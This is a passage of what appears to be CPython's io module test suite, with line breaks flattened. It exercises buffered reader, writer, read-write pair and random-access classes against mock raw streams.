support.captured_output("stderr") as s: self.assertRaises(AttributeError, f) s = s.getvalue().strip() if s: # The destructor *may* have printed an unraisable error, check it self.assertEqual(len(s.splitlines()), 1) self.assertTrue(s.startswith("Exception OSError: "), s) self.assertTrue(s.endswith(" ignored"), s) def test_repr(self): raw = self.MockRawIO() b = self.tp(raw) clsname = r"(%s\.)?%s" % (self.tp.__module__, self.tp.__qualname__) self.assertRegex(repr(b), "<%s>" % clsname) raw.name = "dummy" self.assertRegex(repr(b), "<%s name='dummy'>" % clsname) raw.name = b"dummy" self.assertRegex(repr(b), "<%s name=b'dummy'>" % clsname) def test_recursive_repr(self): # Issue #25455 raw = self.MockRawIO() b = self.tp(raw) with support.swap_attr(raw, 'name', b): try: repr(b) # Should not crash except RuntimeError: pass def test_flush_error_on_close(self): # Test that buffered file is closed despite failed flush # and that flush() is called before file closed. raw = self.MockRawIO() closed = [] def bad_flush(): closed[:] = [b.closed, raw.closed] raise OSError() raw.flush = bad_flush b = self.tp(raw) self.assertRaises(OSError, b.close) # exception not swallowed self.assertTrue(b.closed) self.assertTrue(raw.closed) self.assertTrue(closed) # flush() called self.assertFalse(closed[0]) # flush() called before file closed self.assertFalse(closed[1]) raw.flush = lambda: None # break reference loop def test_close_error_on_close(self): raw = self.MockRawIO() def bad_flush(): raise OSError('flush') def bad_close(): raise OSError('close') raw.close = bad_close b = self.tp(raw) b.flush = bad_flush with self.assertRaises(OSError) as err: # exception not swallowed b.close() self.assertEqual(err.exception.args, ('close',)) self.assertIsInstance(err.exception.__context__, OSError) self.assertEqual(err.exception.__context__.args, ('flush',)) self.assertFalse(b.closed) def test_nonnormalized_close_error_on_close(self): # Issue #21677 raw = self.MockRawIO() def bad_flush(): raise non_existing_flush def bad_close(): raise non_existing_close raw.close = bad_close b = self.tp(raw) b.flush = bad_flush with self.assertRaises(NameError) as err: # exception not swallowed b.close() self.assertIn('non_existing_close', str(err.exception)) self.assertIsInstance(err.exception.__context__, NameError) self.assertIn('non_existing_flush', str(err.exception.__context__)) self.assertFalse(b.closed) def test_multi_close(self): raw = self.MockRawIO() b = self.tp(raw) b.close() b.close() b.close() self.assertRaises(ValueError, b.flush) def test_unseekable(self): bufio = self.tp(self.MockUnseekableIO(b"A" * 10)) self.assertRaises(self.UnsupportedOperation, bufio.tell) self.assertRaises(self.UnsupportedOperation, bufio.seek, 0) def test_readonly_attributes(self): raw = self.MockRawIO() buf = self.tp(raw) x = self.MockRawIO() with self.assertRaises(AttributeError): buf.raw = x class SizeofTest: @support.cpython_only def test_sizeof(self): bufsize1 = 4096 bufsize2 = 8192 rawio = self.MockRawIO() bufio = self.tp(rawio, buffer_size=bufsize1) size = sys.getsizeof(bufio) - bufsize1 rawio = self.MockRawIO() bufio = self.tp(rawio, buffer_size=bufsize2) self.assertEqual(sys.getsizeof(bufio), size + bufsize2) @support.cpython_only def test_buffer_freeing(self) : bufsize = 4096 rawio = self.MockRawIO() bufio = self.tp(rawio, buffer_size=bufsize) size = sys.getsizeof(bufio) - bufsize bufio.close() self.assertEqual(sys.getsizeof(bufio), size) class BufferedReaderTest(unittest.TestCase, CommonBufferedTests): read_mode = "rb" def test_constructor(self): rawio = self.MockRawIO([b"abc"]) bufio = self.tp(rawio) bufio.__init__(rawio) bufio.__init__(rawio, buffer_size=1024) bufio.__init__(rawio, buffer_size=16) self.assertEqual(b"abc", bufio.read()) self.assertRaises(ValueError, bufio.__init__, rawio, buffer_size=0) self.assertRaises(ValueError, bufio.__init__, rawio, buffer_size=-16) self.assertRaises(ValueError, bufio.__init__, rawio, buffer_size=-1) rawio = self.MockRawIO([b"abc"]) bufio.__init__(rawio) self.assertEqual(b"abc", bufio.read()) def test_uninitialized(self): bufio = self.tp.__new__(self.tp) del bufio bufio = self.tp.__new__(self.tp) self.assertRaisesRegex((ValueError, AttributeError), 'uninitialized|has no attribute', bufio.read, 0) bufio.__init__(self.MockRawIO()) self.assertEqual(bufio.read(0), b'') def test_read(self): for arg in (None, 7): rawio = self.MockRawIO((b"abc", b"d", b"efg")) bufio = self.tp(rawio) self.assertEqual(b"abcdefg", bufio.read(arg)) # Invalid args self.assertRaises(ValueError, bufio.read, -2) def test_read1(self): rawio = self.MockRawIO((b"abc", b"d", b"efg")) bufio = self.tp(rawio) self.assertEqual(b"a", bufio.read(1)) self.assertEqual(b"b", bufio.read1(1)) self.assertEqual(rawio._reads, 1) self.assertEqual(b"", bufio.read1(0)) self.assertEqual(b"c", bufio.read1(100)) self.assertEqual(rawio._reads, 1) self.assertEqual(b"d", bufio.read1(100)) self.assertEqual(rawio._reads, 2) self.assertEqual(b"efg", bufio.read1(100)) self.assertEqual(rawio._reads, 3) self.assertEqual(b"", bufio.read1(100)) self.assertEqual(rawio._reads, 4) def test_read1_arbitrary(self): rawio = self.MockRawIO((b"abc", b"d", b"efg")) bufio = self.tp(rawio) self.assertEqual(b"a", bufio.read(1)) self.assertEqual(b"bc", bufio.read1()) self.assertEqual(b"d", bufio.read1()) self.assertEqual(b"efg", bufio.read1(-1)) self.assertEqual(rawio._reads, 3) self.assertEqual(b"", bufio.read1()) self.assertEqual(rawio._reads, 4) def test_readinto(self): rawio = self.MockRawIO((b"abc", b"d", b"efg")) bufio = self.tp(rawio) b = bytearray(2) self.assertEqual(bufio.readinto(b), 2) self.assertEqual(b, b"ab") self.assertEqual(bufio.readinto(b), 2) self.assertEqual(b, b"cd") self.assertEqual(bufio.readinto(b), 2) self.assertEqual(b, b"ef") self.assertEqual(bufio.readinto(b), 1) self.assertEqual(b, b"gf") self.assertEqual(bufio.readinto(b), 0) self.assertEqual(b, b"gf") rawio = self.MockRawIO((b"abc", None)) bufio = self.tp(rawio) self.assertEqual(bufio.readinto(b), 2) self.assertEqual(b, b"ab") self.assertEqual(bufio.readinto(b), 1) self.assertEqual(b, b"cb") def test_readinto1(self): buffer_size = 10 rawio = self.MockRawIO((b"abc", b"de", b"fgh", b"jkl")) bufio = self.tp(rawio, buffer_size=buffer_size) b = bytearray(2) self.assertEqual(bufio.peek(3), b'abc') self.assertEqual(rawio._reads, 1) self.assertEqual(bufio.readinto1(b), 2) self.assertEqual(b, b"ab") self.assertEqual(rawio._reads, 1) self.assertEqual(bufio.readinto1(b), 1) self.assertEqual(b[:1], b"c") self.assertEqual(rawio._reads, 1) self.assertEqual(bufio.readinto1(b), 2) self.assertEqual(b, b"de") self.assertEqual(rawio._reads, 2) b = bytearray(2*buffer_size) self.assertEqual(bufio.peek(3), b'fgh') self.assertEqual(rawio._reads, 3) self.assertEqual(bufio.readinto1(b), 6) self.assertEqual(b[:6], b"fghjkl") self.assertEqual(rawio._reads, 4) def test_readinto_array(self): buffer_size = 60 data = b"a" * 26 rawio = self.MockRawIO((data,)) bufio = self.tp(rawio, buffer_size=buffer_size) # Create an array with element size > 1 byte b = array.array('i', b'x' * 32) assert len(b) != 16 # Read into it. We should get as many *bytes* as we can fit into b # (which is more than the number of elements) n = bufio.readinto(b) self.assertGreater(n, len(b)) # Check that old contents of b are preserved bm = memoryview(b).cast('B') self.assertLess(n, len(bm)) self.assertEqual(bm[:n], data[:n]) self.assertEqual(bm[n:], b'x' * (len(bm[n:]))) def test_readinto1_array(self): buffer_size = 60 data = b"a" * 26 rawio = self.MockRawIO((data,)) bufio = self.tp(rawio, buffer_size=buffer_size) # Create an array with element size > 1 byte b = array.array('i', b'x' * 32) assert len(b) != 16 # Read into it. We should get as many *bytes* as we can fit into b # (which is more than the number of elements) n = bufio.readinto1(b) self.assertGreater(n, len(b)) # Check that old contents of b are preserved bm = memoryview(b).cast('B') self.assertLess(n, len(bm)) self.assertEqual(bm[:n], data[:n]) self.assertEqual(bm[n:], b'x' * (len(bm[n:]))) def test_readlines(self): def bufio(): rawio = self.MockRawIO((b"abc\n", b"d\n", b"ef")) return self.tp(rawio) self.assertEqual(bufio().readlines(), [b"abc\n", b"d\n", b"ef"]) self.assertEqual(bufio().readlines(5), [b"abc\n", b"d\n"]) self.assertEqual(bufio().readlines(None), [b"abc\n", b"d\n", b"ef"]) def test_buffering(self): data = b"abcdefghi" dlen = len(data) tests = [ [ 100, [ 3, 1, 4, 8 ], [ dlen, 0 ] ], [ 100, [ 3, 3, 3], [ dlen ] ], [ 4, [ 1, 2, 4, 2 ], [ 4, 4, 1 ] ], ] for bufsize, buf_read_sizes, raw_read_sizes in tests: rawio = self.MockFileIO(data) bufio = self.tp(rawio, buffer_size=bufsize) pos = 0 for nbytes in buf_read_sizes: self.assertEqual(bufio.read(nbytes), data[pos:pos+nbytes]) pos += nbytes # this is mildly implementation-dependent self.assertEqual(rawio.read_history, raw_read_sizes) def test_read_non_blocking(self): # Inject some None's in there to simulate EWOULDBLOCK rawio = self.MockRawIO((b"abc", b"d", None, b"efg", None, None, None)) bufio = self.tp(rawio) self.assertEqual(b"abcd", bufio.read(6)) self.assertEqual(b"e", bufio.read(1)) self.assertEqual(b"fg", bufio.read()) self.assertEqual(b"", bufio.peek(1)) self.assertIsNone(bufio.read()) self.assertEqual(b"", bufio.read()) rawio = self.MockRawIO((b"a", None, None)) self.assertEqual(b"a", rawio.readall()) self.assertIsNone(rawio.readall()) def test_read_past_eof(self): rawio = self.MockRawIO((b"abc", b"d", b"efg")) bufio = self.tp(rawio) self.assertEqual(b"abcdefg", bufio.read(9000)) def test_read_all(self): rawio = self.MockRawIO((b"abc", b"d", b"efg")) bufio = self.tp(rawio) self.assertEqual(b"abcdefg", bufio.read()) @support.requires_resource('cpu') def test_threads(self): try: # Write out many bytes with exactly the same number of 0's, # 1's... 255's. This will help us check that concurrent reading # doesn't duplicate or forget contents. N = 1000 l = list(range(256)) * N random.shuffle(l) s = bytes(bytearray(l)) with self.open(support.TESTFN, "wb") as f: f.write(s) with self.open(support.TESTFN, self.read_mode, buffering=0) as raw: bufio = self.tp(raw, 8) errors = [] results = [] def f(): try: # Intra-buffer read then buffer-flushing read for n in cycle([1, 19]): s = bufio.read(n) if not s: break # list.append() is atomic results.append(s) except Exception as e: errors.append(e) raise threads = [threading.Thread(target=f) for x in range(20)] with support.start_threads(threads): time.sleep(0.02) # yield self.assertFalse(errors, "the following exceptions were caught: %r" % errors) s = b''.join(results) for i in range(256): c = bytes(bytearray([i])) self.assertEqual(s.count(c), N) finally: support.unlink(support.TESTFN) def test_unseekable(self): bufio = self.tp(self.MockUnseekableIO(b"A" * 10)) self.assertRaises(self.UnsupportedOperation, bufio.tell) self.assertRaises(self.UnsupportedOperation, bufio.seek, 0) bufio.read(1) self.assertRaises(self.UnsupportedOperation, bufio.seek, 0) self.assertRaises(self.UnsupportedOperation, bufio.tell) def test_misbehaved_io(self): rawio = self.MisbehavedRawIO((b"abc", b"d", b"efg")) bufio = self.tp(rawio) self.assertRaises(OSError, bufio.seek, 0) self.assertRaises(OSError, bufio.tell) def test_no_extraneous_read(self): # Issue #9550; when the raw IO object has satisfied the read request, # we should not issue any additional reads, otherwise it may block # (e.g. socket). bufsize = 16 for n in (2, bufsize - 1, bufsize, bufsize + 1, bufsize * 2): rawio = self.MockRawIO([b"x" * n]) bufio = self.tp(rawio, bufsize) self.assertEqual(bufio.read(n), b"x" * n) # Simple case: one raw read is enough to satisfy the request. self.assertEqual(rawio._extraneous_reads, 0, "failed for {}: {} != 0".format(n, rawio._extraneous_reads)) # A more complex case where two raw reads are needed to satisfy # the request. rawio = self.MockRawIO([b"x" * (n - 1), b"x"]) bufio = self.tp(rawio, bufsize) self.assertEqual(bufio.read(n), b"x" * n) self.assertEqual(rawio._extraneous_reads, 0, "failed for {}: {} != 0".format(n, rawio._extraneous_reads)) def test_read_on_closed(self): # Issue #23796 b = io.BufferedReader(io.BytesIO(b"12")) b.read(1) b.close() self.assertRaises(ValueError, b.peek) self.assertRaises(ValueError, b.read1, 1) class CBufferedReaderTest(BufferedReaderTest, SizeofTest): tp = io.BufferedReader @unittest.skipIf(MEMORY_SANITIZER, "MSan defaults to crashing " "instead of returning NULL for malloc failure.") def test_constructor(self): BufferedReaderTest.test_constructor(self) # The allocation can succeed on 32-bit builds, e.g. with more # than 2 GiB RAM and a 64-bit kernel. if sys.maxsize > 0x7FFFFFFF: rawio = self.MockRawIO() bufio = self.tp(rawio) self.assertRaises((OverflowError, MemoryError, ValueError), bufio.__init__, rawio, sys.maxsize) def test_initialization(self): rawio = self.MockRawIO([b"abc"]) bufio = self.tp(rawio) self.assertRaises(ValueError, bufio.__init__, rawio, buffer_size=0) self.assertRaises(ValueError, bufio.read) self.assertRaises(ValueError, bufio.__init__, rawio, buffer_size=-16) self.assertRaises(ValueError, bufio.read) self.assertRaises(ValueError, bufio.__init__, rawio, buffer_size=-1) self.assertRaises(ValueError, bufio.read) def test_misbehaved_io_read(self): rawio = self.MisbehavedRawIO((b"abc", b"d", b"efg")) bufio = self.tp(rawio) # _pyio.BufferedReader seems to implement reading different, so that # checking this is not so easy. self.assertRaises(OSError, bufio.read, 10) def test_garbage_collection(self): # C BufferedReader objects are collected. # The Python version has __del__, so it ends into gc.garbage instead self.addCleanup(support.unlink, support.TESTFN) with support.check_warnings(('', ResourceWarning)): rawio = self.FileIO(support.TESTFN, "w+b") f = self.tp(rawio) f.f = f wr = weakref.ref(f) del f support.gc_collect() self.assertIsNone(wr(), wr) def test_args_error(self): # Issue #17275 with self.assertRaisesRegex(TypeError, "BufferedReader"): self.tp(io.BytesIO(), 1024, 1024, 1024) class PyBufferedReaderTest(BufferedReaderTest): tp = pyio.BufferedReader class BufferedWriterTest(unittest.TestCase, CommonBufferedTests): write_mode = "wb" def test_constructor(self): rawio = self.MockRawIO() bufio = self.tp(rawio) bufio.__init__(rawio) bufio.__init__(rawio, buffer_size=1024) bufio.__init__(rawio, buffer_size=16) self.assertEqual(3, bufio.write(b"abc")) bufio.flush() self.assertRaises(ValueError, bufio.__init__, rawio, buffer_size=0) self.assertRaises(ValueError, bufio.__init__, rawio, buffer_size=-16) self.assertRaises(ValueError, bufio.__init__, rawio, buffer_size=-1) bufio.__init__(rawio) self.assertEqual(3, bufio.write(b"ghi")) bufio.flush() self.assertEqual(b"".join(rawio._write_stack), b"abcghi") def test_uninitialized(self): bufio = self.tp.__new__(self.tp) del bufio bufio = self.tp.__new__(self.tp) self.assertRaisesRegex((ValueError, AttributeError), 'uninitialized|has no attribute', bufio.write, b'') bufio.__init__(self.MockRawIO()) self.assertEqual(bufio.write(b''), 0) def test_detach_flush(self): raw = self.MockRawIO() buf = self.tp(raw) buf.write(b"howdy!") self.assertFalse(raw._write_stack) buf.detach() self.assertEqual(raw._write_stack, [b"howdy!"]) def test_write(self): # Write to the buffered IO but don't overflow the buffer. writer = self.MockRawIO() bufio = self.tp(writer, 8) bufio.write(b"abc") self.assertFalse(writer._write_stack) buffer = bytearray(b"def") bufio.write(buffer) buffer[:] = b"***" # Overwrite our copy of the data bufio.flush() self.assertEqual(b"".join(writer._write_stack), b"abcdef") def test_write_overflow(self): writer = self.MockRawIO() bufio = self.tp(writer, 8) contents = b"abcdefghijklmnop" for n in range(0, len(contents), 3): bufio.write(contents[n:n+3]) flushed = b"".join(writer._write_stack) # At least (total - 8) bytes were implicitly flushed, perhaps more # depending on the implementation. self.assertTrue(flushed.startswith(contents[:-8]), flushed) def check_writes(self, intermediate_func): # Lots of writes, test the flushed output is as expected. contents = bytes(range(256)) * 1000 n = 0 writer = self.MockRawIO() bufio = self.tp(writer, 13) # Generator of write sizes: repeat each N 15 times then proceed to N+1 def gen_sizes(): for size in count(1): for i in range(15): yield size sizes = gen_sizes() while n < len(contents): size = min(next(sizes), len(contents) - n) self.assertEqual(bufio.write(contents[n:n+size]), size) intermediate_func(bufio) n += size bufio.flush() self.assertEqual(contents, b"".join(writer._write_stack)) def test_writes(self): self.check_writes(lambda bufio: None) def test_writes_and_flushes(self): self.check_writes(lambda bufio: bufio.flush()) def test_writes_and_seeks(self): def _seekabs(bufio): pos = bufio.tell() bufio.seek(pos + 1, 0) bufio.seek(pos - 1, 0) bufio.seek(pos, 0) self.check_writes(_seekabs) def _seekrel(bufio): pos = bufio.seek(0, 1) bufio.seek(+1, 1) bufio.seek(-1, 1) bufio.seek(pos, 0) self.check_writes(_seekrel) def test_writes_and_truncates(self): self.check_writes(lambda bufio: bufio.truncate(bufio.tell())) def test_write_non_blocking(self): raw = self.MockNonBlockWriterIO() bufio = self.tp(raw, 8) self.assertEqual(bufio.write(b"abcd"), 4) self.assertEqual(bufio.write(b"efghi"), 5) # 1 byte will be written, the rest will be buffered raw.block_on(b"k") self.assertEqual(bufio.write(b"jklmn"), 5) # 8 bytes will be written, 8 will be buffered and the rest will be lost raw.block_on(b"0") try: bufio.write(b"opqrwxyz0123456789") except self.BlockingIOError as e: written = e.characters_written else: self.fail("BlockingIOError should have been raised") self.assertEqual(written, 16) self.assertEqual(raw.pop_written(), b"abcdefghijklmnopqrwxyz") self.assertEqual(bufio.write(b"ABCDEFGHI"), 9) s = raw.pop_written() # Previously buffered bytes were flushed self.assertTrue(s.startswith(b"01234567A"), s) def test_write_and_rewind(self): raw = io.BytesIO() bufio = self.tp(raw, 4) self.assertEqual(bufio.write(b"abcdef"), 6) self.assertEqual(bufio.tell(), 6) bufio.seek(0, 0) self.assertEqual(bufio.write(b"XY"), 2) bufio.seek(6, 0) self.assertEqual(raw.getvalue(), b"XYcdef") self.assertEqual(bufio.write(b"123456"), 6) bufio.flush() self.assertEqual(raw.getvalue(), b"XYcdef123456") def test_flush(self): writer = self.MockRawIO() bufio = self.tp(writer, 8) bufio.write(b"abc") bufio.flush() self.assertEqual(b"abc", writer._write_stack[0]) def test_writelines(self): l = [b'ab', b'cd', b'ef'] writer = self.MockRawIO() bufio = self.tp(writer, 8) bufio.writelines(l) bufio.flush() self.assertEqual(b''.join(writer._write_stack), b'abcdef') def test_writelines_userlist(self): l = UserList([b'ab', b'cd', b'ef']) writer = self.MockRawIO() bufio = self.tp(writer, 8) bufio.writelines(l) bufio.flush() self.assertEqual(b''.join(writer._write_stack), b'abcdef') def test_writelines_error(self): writer = self.MockRawIO() bufio = self.tp(writer, 8) self.assertRaises(TypeError, bufio.writelines, [1, 2, 3]) self.assertRaises(TypeError, bufio.writelines, None) self.assertRaises(TypeError, bufio.writelines, 'abc') def test_destructor(self): writer = self.MockRawIO() bufio = self.tp(writer, 8) bufio.write(b"abc") del bufio support.gc_collect() self.assertEqual(b"abc", writer._write_stack[0]) def test_truncate(self): # Truncate implicitly flushes the buffer. self.addCleanup(support.unlink, support.TESTFN) with self.open(support.TESTFN, self.write_mode, buffering=0) as raw: bufio = self.tp(raw, 8) bufio.write(b"abcdef") self.assertEqual(bufio.truncate(3), 3) self.assertEqual(bufio.tell(), 6) with self.open(support.TESTFN, "rb", buffering=0) as f: self.assertEqual(f.read(), b"abc") def test_truncate_after_write(self): # Ensure that truncate preserves the file position after # writes longer than the buffer size. # Issue: https://bugs.python.org/issue32228 self.addCleanup(support.unlink, support.TESTFN) with self.open(support.TESTFN, "wb") as f: # Fill with some buffer f.write(b'\x00' * 10000) buffer_sizes = [8192, 4096, 200] for buffer_size in buffer_sizes: with self.open(support.TESTFN, "r+b", buffering=buffer_size) as f: f.write(b'\x00' * (buffer_size + 1)) # After write write_pos and write_end are set to 0 f.read(1) # read operation makes sure that pos != raw_pos f.truncate() self.assertEqual(f.tell(), buffer_size + 2) @support.requires_resource('cpu') def test_threads(self): try: # Write out many bytes from many threads and test they were # all flushed. N = 1000 contents = bytes(range(256)) * N sizes = cycle([1, 19]) n = 0 queue = deque() while n < len(contents): size = next(sizes) queue.append(contents[n:n+size]) n += size del contents # We use a real file object because it allows us to # exercise situations where the GIL is released before # writing the buffer to the raw streams. This is in addition # to concurrency issues due to switching threads in the middle # of Python code. with self.open(support.TESTFN, self.write_mode, buffering=0) as raw: bufio = self.tp(raw, 8) errors = [] def f(): try: while True: try: s = queue.popleft() except IndexError: return bufio.write(s) except Exception as e: errors.append(e) raise threads = [threading.Thread(target=f) for x in range(20)] with support.start_threads(threads): time.sleep(0.02) # yield self.assertFalse(errors, "the following exceptions were caught: %r" % errors) bufio.close() with self.open(support.TESTFN, "rb") as f: s = f.read() for i in range(256): self.assertEqual(s.count(bytes([i])), N) finally: support.unlink(support.TESTFN) def test_misbehaved_io(self): rawio = self.MisbehavedRawIO() bufio = self.tp(rawio, 5) self.assertRaises(OSError, bufio.seek, 0) self.assertRaises(OSError, bufio.tell) self.assertRaises(OSError, bufio.write, b"abcdef") def test_max_buffer_size_removal(self): with self.assertRaises(TypeError): self.tp(self.MockRawIO(), 8, 12) def test_write_error_on_close(self): raw = self.MockRawIO() def bad_write(b): raise OSError() raw.write = bad_write b = self.tp(raw) b.write(b'spam') self.assertRaises(OSError, b.close) # exception not swallowed self.assertTrue(b.closed) def test_slow_close_from_thread(self): # Issue #31976 rawio = self.SlowFlushRawIO() bufio = self.tp(rawio, 8) t = threading.Thread(target=bufio.close) t.start() rawio.in_flush.wait() self.assertRaises(ValueError, bufio.write, b'spam') self.assertTrue(bufio.closed) t.join() class CBufferedWriterTest(BufferedWriterTest, SizeofTest): tp = io.BufferedWriter @unittest.skipIf(MEMORY_SANITIZER, "MSan defaults to crashing " "instead of returning NULL for malloc failure.") def test_constructor(self): BufferedWriterTest.test_constructor(self) # The allocation can succeed on 32-bit builds, e.g. with more # than 2 GiB RAM and a 64-bit kernel. if sys.maxsize > 0x7FFFFFFF: rawio = self.MockRawIO() bufio = self.tp(rawio) self.assertRaises((OverflowError, MemoryError, ValueError), bufio.__init__, rawio, sys.maxsize) def test_initialization(self): rawio = self.MockRawIO() bufio = self.tp(rawio) self.assertRaises(ValueError, bufio.__init__, rawio, buffer_size=0) self.assertRaises(ValueError, bufio.write, b"def") self.assertRaises(ValueError, bufio.__init__, rawio, buffer_size=-16) self.assertRaises(ValueError, bufio.write, b"def") self.assertRaises(ValueError, bufio.__init__, rawio, buffer_size=-1) self.assertRaises(ValueError, bufio.write, b"def") def test_garbage_collection(self): # C BufferedWriter objects are collected, and collecting them flushes # all data to disk. # The Python version has __del__, so it ends into gc.garbage instead self.addCleanup(support.unlink, support.TESTFN) with support.check_warnings(('', ResourceWarning)): rawio = self.FileIO(support.TESTFN, "w+b") f = self.tp(rawio) f.write(b"123xxx") f.x = f wr = weakref.ref(f) del f support.gc_collect() self.assertIsNone(wr(), wr) with self.open(support.TESTFN, "rb") as f: self.assertEqual(f.read(), b"123xxx") def test_args_error(self): # Issue #17275 with self.assertRaisesRegex(TypeError, "BufferedWriter"): self.tp(io.BytesIO(), 1024, 1024, 1024) class PyBufferedWriterTest(BufferedWriterTest): tp = pyio.BufferedWriter class BufferedRWPairTest(unittest.TestCase): def test_constructor(self): pair = self.tp(self.MockRawIO(), self.MockRawIO()) self.assertFalse(pair.closed) def test_uninitialized(self): pair = self.tp.__new__(self.tp) del pair pair = self.tp.__new__(self.tp) self.assertRaisesRegex((ValueError, AttributeError), 'uninitialized|has no attribute', pair.read, 0) self.assertRaisesRegex((ValueError, AttributeError), 'uninitialized|has no attribute', pair.write, b'') pair.__init__(self.MockRawIO(), self.MockRawIO()) self.assertEqual(pair.read(0), b'') self.assertEqual(pair.write(b''), 0) def test_detach(self): pair = self.tp(self.MockRawIO(), self.MockRawIO()) self.assertRaises(self.UnsupportedOperation, pair.detach) def test_constructor_max_buffer_size_removal(self): with self.assertRaises(TypeError): self.tp(self.MockRawIO(), self.MockRawIO(), 8, 12) def test_constructor_with_not_readable(self): class NotReadable(MockRawIO): def readable(self): return False self.assertRaises(OSError, self.tp, NotReadable(), self.MockRawIO()) def test_constructor_with_not_writeable(self): class NotWriteable(MockRawIO): def writable(self): return False self.assertRaises(OSError, self.tp, self.MockRawIO(), NotWriteable()) def test_read(self): pair = self.tp(self.BytesIO(b"abcdef"), self.MockRawIO()) self.assertEqual(pair.read(3), b"abc") self.assertEqual(pair.read(1), b"d") self.assertEqual(pair.read(), b"ef") pair = self.tp(self.BytesIO(b"abc"), self.MockRawIO()) self.assertEqual(pair.read(None), b"abc") def test_readlines(self): pair = lambda: self.tp(self.BytesIO(b"abc\ndef\nh"), self.MockRawIO()) self.assertEqual(pair().readlines(), [b"abc\n", b"def\n", b"h"]) self.assertEqual(pair().readlines(), [b"abc\n", b"def\n", b"h"]) self.assertEqual(pair().readlines(5), [b"abc\n", b"def\n"]) def test_read1(self): # .read1() is delegated to the underlying reader object, so this test # can be shallow. pair = self.tp(self.BytesIO(b"abcdef"), self.MockRawIO()) self.assertEqual(pair.read1(3), b"abc") self.assertEqual(pair.read1(), b"def") def test_readinto(self): for method in ("readinto", "readinto1"): with self.subTest(method): pair = self.tp(self.BytesIO(b"abcdef"), self.MockRawIO()) data = byteslike(b'\0' * 5) self.assertEqual(getattr(pair, method)(data), 5) self.assertEqual(bytes(data), b"abcde") def test_write(self): w = self.MockRawIO() pair = self.tp(self.MockRawIO(), w) pair.write(b"abc") pair.flush() buffer = bytearray(b"def") pair.write(buffer) buffer[:] = b"***" # Overwrite our copy of the data pair.flush() self.assertEqual(w._write_stack, [b"abc", b"def"]) def test_peek(self): pair = self.tp(self.BytesIO(b"abcdef"), self.MockRawIO()) self.assertTrue(pair.peek(3).startswith(b"abc")) self.assertEqual(pair.read(3), b"abc") def test_readable(self): pair = self.tp(self.MockRawIO(), self.MockRawIO()) self.assertTrue(pair.readable()) def test_writeable(self): pair = self.tp(self.MockRawIO(), self.MockRawIO()) self.assertTrue(pair.writable()) def test_seekable(self): # BufferedRWPairs are never seekable, even if their readers and writers # are. pair = self.tp(self.MockRawIO(), self.MockRawIO()) self.assertFalse(pair.seekable()) # .flush() is delegated to the underlying writer object and has been # tested in the test_write method. def test_close_and_closed(self): pair = self.tp(self.MockRawIO(), self.MockRawIO()) self.assertFalse(pair.closed) pair.close() self.assertTrue(pair.closed) def test_reader_close_error_on_close(self): def reader_close(): reader_non_existing reader = self.MockRawIO() reader.close = reader_close writer = self.MockRawIO() pair = self.tp(reader, writer) with self.assertRaises(NameError) as err: pair.close() self.assertIn('reader_non_existing', str(err.exception)) self.assertTrue(pair.closed) self.assertFalse(reader.closed) self.assertTrue(writer.closed) def test_writer_close_error_on_close(self): def writer_close(): writer_non_existing reader = self.MockRawIO() writer = self.MockRawIO() writer.close = writer_close pair = self.tp(reader, writer) with self.assertRaises(NameError) as err: pair.close() self.assertIn('writer_non_existing', str(err.exception)) self.assertFalse(pair.closed) self.assertTrue(reader.closed) self.assertFalse(writer.closed) def test_reader_writer_close_error_on_close(self): def reader_close(): reader_non_existing def writer_close(): writer_non_existing reader = self.MockRawIO() reader.close = reader_close writer = self.MockRawIO() writer.close = writer_close pair = self.tp(reader, writer) with self.assertRaises(NameError) as err: pair.close() self.assertIn('reader_non_existing', str(err.exception)) self.assertIsInstance(err.exception.__context__, NameError) self.assertIn('writer_non_existing', str(err.exception.__context__)) self.assertFalse(pair.closed) self.assertFalse(reader.closed) self.assertFalse(writer.closed) def test_isatty(self): class SelectableIsAtty(MockRawIO): def __init__(self, isatty): MockRawIO.__init__(self) self._isatty = isatty def isatty(self): return self._isatty pair = self.tp(SelectableIsAtty(False), SelectableIsAtty(False)) self.assertFalse(pair.isatty()) pair = self.tp(SelectableIsAtty(True), SelectableIsAtty(False)) self.assertTrue(pair.isatty()) pair = self.tp(SelectableIsAtty(False), SelectableIsAtty(True)) self.assertTrue(pair.isatty()) pair = self.tp(SelectableIsAtty(True), SelectableIsAtty(True)) self.assertTrue(pair.isatty()) def test_weakref_clearing(self): brw = self.tp(self.MockRawIO(), self.MockRawIO()) ref = weakref.ref(brw) brw = None ref = None # Shouldn't segfault. class CBufferedRWPairTest(BufferedRWPairTest): tp = io.BufferedRWPair class PyBufferedRWPairTest(BufferedRWPairTest): tp = pyio.BufferedRWPair class BufferedRandomTest(BufferedReaderTest, BufferedWriterTest): read_mode = "rb+" write_mode = "wb+" def test_constructor(self): BufferedReaderTest.test_constructor(self) BufferedWriterTest.test_constructor(self) def test_uninitialized(self): BufferedReaderTest.test_uninitialized(self) BufferedWriterTest.test_uninitialized(self) def test_read_and_write(self): raw = self.MockRawIO((b"asdf", b"ghjk")) rw = self.tp(raw, 8) self.assertEqual(b"as", rw.read(2)) rw.write(b"ddd") rw.write(b"eee") self.assertFalse(raw._write_stack) # Buffer writes self.assertEqual(b"ghjk", rw.read()) self.assertEqual(b"dddeee", raw._write_stack[0]) def test_seek_and_tell(self): raw = self.BytesIO(b"asdfghjkl") rw = self.tp(raw) self.assertEqual(b"as", rw.read(2)) self.assertEqual(2, rw.tell()) rw.seek(0, 0) self.assertEqual(b"asdf", rw.read(4)) rw.write(b"123f") rw.seek(0, 0) self.assertEqual(b"asdf123fl", rw.read()) self.assertEqual(9, rw.tell()) rw.seek(-4, 2) self.assertEqual(5, rw.tell()) rw.seek(2, 1) self.assertEqual(7, rw.tell()) self.assertEqual(b"fl", rw.read(11)) rw.flush() self.assertEqual(b"asdf123fl", raw.getvalue()) self.assertRaises(TypeError, rw.seek, 0.0) def check_flush_and_read(self, read_func): raw = self.BytesIO(b"abcdefghi") bufio = self.tp(raw) self.assertEqual(b"ab", read_func(bufio, 2)) bufio.write(b"12") self.assertEqual(b"ef", read_func(bufio, 2)) self.assertEqual(6, bufio.tell()) bufio.flush() self.assertEqual(6, bufio.tell()) self.assertEqual(b"ghi", read_func(bufio)) raw.seek(0, 0) raw.write(b"XYZ") # flush() resets the read buffer bufio.flush() bufio.seek(0, 0) self.assertEqual(b"XYZ", read_func(bufio, 3)) def test_flush_and_read(self): self.check_flush_and_read(lambda bufio, *args: bufio.read(*args)) def test_flush_and_readinto(self): def _readinto(bufio, n=-1): b = bytearray(n if n >= 0 else 9999) n = bufio.readinto(b) return bytes(b[:n]) self.check_flush_and_read(_readinto) def test_flush_and_peek(self): def _peek(bufio, 